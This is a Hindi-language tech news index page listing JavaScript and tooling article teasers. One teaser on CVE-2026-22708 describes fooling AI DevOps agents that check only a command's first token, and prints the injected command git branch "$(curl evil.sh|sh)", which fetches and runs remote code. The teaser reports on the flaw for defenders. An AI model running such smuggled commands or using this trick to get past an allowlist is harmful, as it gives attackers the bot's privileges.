GyaanSetu जावास्क्रिप्ट

जावास्क्रिप्ट और टाइपस्क्रिप्ट इकोसिस्टम।

90 articlesDeep, practical knowledge

AI-संचालित DevOps बॉट्स का खुलासा: प्रीफ़िक्स व्हाइटलिस्ट हमलावरों को मनमाना कोड चलाने की अनुमति देते हैं

CVE-2026-22708 यह दर्शाता है कि केवल कमांड के पहले टोकन की जाँच करने वाले एजेंटों को आर्गुमेंट्स में छिपे पेलोड—जैसे कि, git branch "$(curl evil.sh|sh)"—के ज़रिए धोखा दिया जा सकता है, जिससे हमलावरों को ऑटोमेशन बॉट के समान ही विशेषाधिकार प्राप्त हो जाते हैं।

जावास्क्रिप्ट · 4 मिनट पढ़ें

WebFPGA 30 mW पर मात्र 4 ms में TinyML इन्फरेंस प्रदान करता है – कोई भी डेटा ब्राउज़र से बाहर नहीं जाता

WebFPGA JavaScript के माध्यम से Lattice iCE40-UP5K FPGA को प्रोग्राम करने के लिए WebUSB API का उपयोग करता है, जिससे केवल कुछ मिलीवाट की बिजली खपत के साथ 10 ms से भी कम समय में TinyML इन्फरेंस संभव हो पाता है और सारा डेटा डिवाइस पर ही सुरक्षित रहता है।

जावास्क्रिप्ट · 2 मिनट पढ़ें

लीक हुई स्ट्राइप कीज़ से 669 विक्रेताओं पर धोखाधड़ी वाले शुल्क और ग्राहकों के डेटा की चोरी का खतरा

लीक हुई इन कीज़ के जरिए हमलावर धोखाधड़ी वाले शुल्क लगा सकते हैं, इनवॉइस निकाल सकते हैं और व्यक्तिगत डेटा चुरा सकते हैं, जिससे चार्जबैक, जुर्माने और ब्रांड की प्रतिष्ठा को नुकसान पहुँचने का खतरा है। तत्काल बचाव के उपायों में डॉटफाइल्स को ब्लॉक करना, सभी कीज़ को रोटेट करना और सीक्रेट्स को वॉल्ट में सुरक्षित करना शामिल है।

जावास्क्रिप्ट · 4 मिनट पढ़ें

LibreOffice 26.8 ने पेश किया प्राइवेसी-फर्स्ट रोडमैप, AI क्लाउड कॉल्स को किया दरकिनार

नया रिलीज़ जटिल लिपियों के लिए पैराग्राफ लेआउट को बेहतर बनाता है, एक सरल ड्राफ्ट व्यू जोड़ता है, और ODF-DOCX/XLSX कन्वर्जन में सुधार करता है, वहीं सुरक्षा पैच और मैक्रो सैंडबॉक्सिंग दस्तावेजों को ऑन-प्रिमाइसेस सुरक्षित रखते हैं।

जावास्क्रिप्ट · 2 मिनट पढ़ें

नए Rust बाइनरी के साथ TypeScript 7 ने टाइप-चेकिंग लेटेंसी को 40% तक कम कर दिया

Rust में लिखा गया यह इंजन एक अलग प्रोसेस में चलता है, जो टाइप एनालिसिस को UI थ्रेड से अलग कर देता है। साथ ही, इसमें स्मार्ट कैशिंग की सुविधा जोड़ी गई है जो केवल बदली हुई फाइलों को ही दोबारा चेक करती है, जिससे इंक्रीमेंटल बिल्ड्स पहले से कहीं अधिक तेज़ हो जाते हैं।

जावास्क्रिप्ट · 2 मिनट पढ़ें

Vue 3.6 का Vapor Mode हटाता है Virtual DOM, गेम परफॉरमेंस में होगी बढ़ोतरी

Vue 3.6 का आगामी Vapor Mode सिंगल-फाइल कंपोनेंट्स को सीधे DOM कॉल्स में कंपाइल करता है, जिससे virtual-DOM diff स्टेप की आवश्यकता समाप्त हो जाती है। उन बेंचमार्क गेम्स में जो प्रति सेकंड दर्जनों बार रिपेंट होते हैं, यह बदलाव रेंडर टाइम को कम करता है और बंडल साइज को छोटा करता है, हालांकि कम-फ्रीक्वेंसी वाले UIs में इसका लाभ बहुत कम मिलता है।

जावास्क्रिप्ट · 4 मिनट पढ़ें

Anthropic ने Bun को 11 दिनों में Rust में फिर से लिखने के लिए Claude टोकन पर $165K खर्च किए

Anthropic के इंजीनियरों ने 11 दिनों में Bun के कोडबेस को Rust में फिर से लिखने के लिए 64 समानांतर Claude Fable 5 एजेंटों का उपयोग किया, जिसमें $165K का टोकन खर्च हुआ, लेकिन पोस्ट-मर्ज कंप्यूट और सुरक्षा ऑडिट को शामिल करने के बाद वास्तविक लागत इससे कहीं अधिक होने की संभावना है।

जावास्क्रिप्ट · 3 मिनट पढ़ें

Claude ने चार एजेंट टूल्स को GA में स्थानांतरित किया, जिससे उद्यमों के लिए बीटा हेडर की बाधाएं खत्म हो गईं

बीटा-ओनली रिक्वेस्ट हेडर हटने से, उद्यम अब कानूनी और सुरक्षा संबंधी बाधाओं को आखिरकार दूर कर सकते हैं। कंप्यूटर-यूज़ टूल के लिए नया बैच-एक्शन मोड कम लेटेंसी और कम टोकन उपयोग का वादा भी करता है, हालांकि बचत की पुष्टि की जानी अभी बाकी है।

जावास्क्रिप्ट · 3 मिनट पढ़ें

Next.js 16.3 ने Turbopack को स्थिर बनाया, जिससे मध्यम आकार के ऐप्स के लिए बिल्ड समय 2-5 गुना कम हो गया

यह रिलीज़ प्रोडक्शन-रेडी 'पार्शियल प्रिरेंडरिंग' भी लेकर आई है जो 'टाइम टू इंटरएक्टिव' को 40-60% तक कम कर सकती है, साथ ही सर्वर एक्शन्स के लिए बेहतर TypeScript सपोर्ट और Rust-आधारित मिडलवेयर भी प्रदान करती है, लेकिन इसके लिए Node 20+ की आवश्यकता है और यह मौजूदा Webpack प्लगइन्स को बाधित कर सकता है।

जावास्क्रिप्ट · 3 मिनट पढ़ें

TanStack Table v9 ऑप्ट-इन फीचर्स के साथ बंडल साइज को घटाकर ~5 KB कर देता है

नया बीटा आपको केवल उन्हीं ग्रिड क्षमताओं को इम्पोर्ट करने की सुविधा देता है जिनका आप उपयोग करते हैं—सॉर्टिंग कोड को पूरी तरह से छोड़ दें, डाउनलोड को लगभग 5 KB तक कम करें, और उस मेन-थ्रेड वर्क से बचें जिससे पहले INP स्कोर धीमा हो जाता था।

जावास्क्रिप्ट · 2 मिनट पढ़ें

Chrome DevTools Debugger ने Playwright अपलोड्स की गति को 20 गुना से भी अधिक धीमा कर दिया

जब Coffer ने Playwright के माध्यम से Chrome DevTools debugger अटैच किया, तो उनके fetch-आधारित अपलोड्स 600 Mbps से गिरकर मात्र 113 Mbps रह गए—20 गुना से भी अधिक की इस गिरावट ने उनके बेंचमार्क परिणामों को पूरी तरह से उलट दिया।

जावास्क्रिप्ट · 3 मिनट पढ़ें

SharedArrayBuffer को सक्षम करने के कारण मुझे सभी थर्ड-पार्टी स्क्रिप्ट्स को हटाना पड़ा

COOP और COEP हेडर जोड़ने से असली मल्टीथ्रेडिंग तो मिल गई, लेकिन इसने तुरंत एनालिटिक्स, गूगल फोंट्स, यूट्यूब एम्बेड्स और OAuth पॉप-अप्स को ब्लॉक कर दिया, जिससे मुझे एसेट्स को खुद होस्ट करने और फ्रंट-एंड को पूरी तरह से नए सिरे से लिखने के लिए मजबूर होना पड़ा।

जावास्क्रिप्ट · 4 मिनट पढ़ें

ब्राउज़र बनाम नोड: इवेंट लूप कहाँ अलग हो जाता है

ब्राउज़र बनाम नोड: इवेंट लूप कहाँ अलग हो जाता है। इवेंट लूप जावास्क्रिप्ट भाषा के स्पेसिफिकेशन का हिस्सा नहीं है। यह होस्ट एनवायरनमेंट का हिस्सा है। ब्राउज़र और नोड इसे अलग-अलग तरीके से लागू करते हैं...

जावास्क्रिप्ट · 4 मिनट पढ़ें

WooCommerce सोशल लॉगिन में खामी, जिससे हैकर्स किसी भी वर्डप्रेस अकाउंट को हैक कर सकते हैं

CVE 2026 8457: WooCommerce सोशल लॉगिन ऑथ बाईपास। WPWeb Elite के WooCommerce सोशल लॉगिन प्लगइन में एक गंभीर सुरक्षा खामी मौजूद है। इस भेद्यता का CVSS स्कोर 9 है...

जावास्क्रिप्ट · 3 मिनट पढ़ें

Next.js 16.3 में तत्काल कनेक्टिविटी का पता लगाने के लिए एक्सपेरिमेंटल useOffline Hook जोड़ा गया

यह हुक एक boolean वैल्यू देता है जो रियल टाइम में अपडेट होती है, जिससे आप किसी फेल हुए फेच (fetch) का इंतज़ार किए बिना मुख्य ऐप को एक साधारण "You are offline" मैसेज के साथ बदल सकते हैं, लेकिन यह अपने आप में कैशिंग या बैकग्राउंड सिंक की सुविधा नहीं देता है।

जावास्क्रिप्ट · 2 मिनट पढ़ें

AGP 9.2.0 ने R8 Bytecode Rewrite के साथ Kotlin Coroutine की स्पीड को दोगुना किया

Android Gradle Plugin 9.2.0 का बंडल्ड R8 अब रिफ्लेक्टिव AtomicFieldUpdater कॉल्स को एक सिंगल Unsafe इंस्ट्रक्शन से बदल देता है, जिससे सिंक्रोनाइज़ेशन कॉस्ट कम हो जाती है और बिना किसी सोर्स कोड बदलाव के चैनल, म्यूटैक्स (mutex) और StateFlow ऑपरेशन्स लगभग 2x तेज़ हो जाते हैं।

जावास्क्रिप्ट · 4 मिनट पढ़ें

SvelteKit मई 2026 रिलीज़ में रिमोट फंक्शन्स और नेटिव TypeScript 6 सपोर्ट जोड़ रहा है

मई 2026 का अपडेट डेवलपर्स को एक साधारण async कॉल के माध्यम से सर्वर-साइड लॉजिक को इनवोक करने की सुविधा देता है, वहीं TypeScript 6 'satisfies' ऑपरेटर, तेज़ इंक्रीमेंटल बिल्ड्स और सख्त रूट टाइपिंग लाता है—और यह सब SvelteKit CLI का उपयोग करते हुए ही संभव है।

जावास्क्रिप्ट · 3 मिनट पढ़ें